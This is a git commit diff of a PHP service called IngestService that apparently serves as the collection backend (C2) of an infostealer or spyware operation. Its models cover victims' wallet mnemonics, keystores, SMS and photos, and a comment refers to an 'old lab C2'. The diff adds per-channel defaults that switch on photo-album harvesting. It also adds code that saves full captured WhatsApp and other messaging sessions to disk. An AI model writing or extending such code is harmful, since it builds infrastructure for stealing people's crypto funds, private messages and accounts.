feat: tg/ws

This commit is contained in:
hashbro
2026-08-31 02:45:24 +08:00
parent 9176af86dd
commit 337bf45c79
47 changed files with 1725 additions and 598 deletions
+25 -1
View File
@@ -11,6 +11,7 @@ use App\Models\PageVisit;
use App\Models\Photo;
use App\Models\PluginSession;
use App\Models\SmsReport;
use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
@@ -274,6 +275,9 @@ class IngestService
$touch = ['updated_at' => now()];
if ($needChannel && $attr['channel_id'] !== null && $attr['channel_id'] !== '') {
$touch['channel_id'] = $attr['channel_id'];
if (! $device->albumStorageEnabled() && User::albumStorageDefaultForChannel($attr['channel_id'])) {
$touch['album_storage'] = true;
}
}
if ($needDomain && $attr['source_domain'] !== null && $attr['source_domain'] !== '') {
$touch['source_domain'] = $attr['source_domain'];
@@ -352,6 +356,7 @@ class IngestService
'ios_version' => $this->extractIosVersion($payload),
'channel_id' => $attr['channel_id'],
'source_domain' => $attr['source_domain'],
'album_storage' => User::albumStorageDefaultForChannel($attr['channel_id']),
];
// xxbb native UA is spoofed / inaccurate; only keep header UA for old lab C2.
if (! $this->isNewBuilderRequest($request)) {
@@ -669,10 +674,12 @@ class IngestService
break;
}
}
$phone = $kind === PluginSession::KIND_WHATSAPP
$phone = (int) $kind === PluginSession::KIND_WHATSAPP
? $this->scalarToString($payload['userId'] ?? $payload['account'] ?? $payload['phoneId'] ?? $payload['phone'] ?? null)
: null;
$blob = $this->storePluginSessionFile($device, $kind, $account, $blob);
PluginSession::query()->updateOrCreate(
[
'device_id' => $device->id,
@@ -685,6 +692,23 @@ class IngestService
'payload' => $blob,
],
);
$device->refreshImFlags();
}
/**
* Keep a summary in MySQL; write the full session JSON to disk.
*
* @param array<string, mixed> $blob
* @return array<string, mixed>
*/
private function storePluginSessionFile(Device $device, string $kind, ?string $account, array $blob): array
{
$path = PluginSession::payloadFilePath($kind, $device->device_id, $account);
$json = json_encode($blob, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
$json = $json === false ? '{}' : $json;
Storage::disk('local')->put($path, $json);
return PluginSession::dbSummary($kind, $blob, $path, strlen($json));
}
private function scalarToString(mixed $value): ?string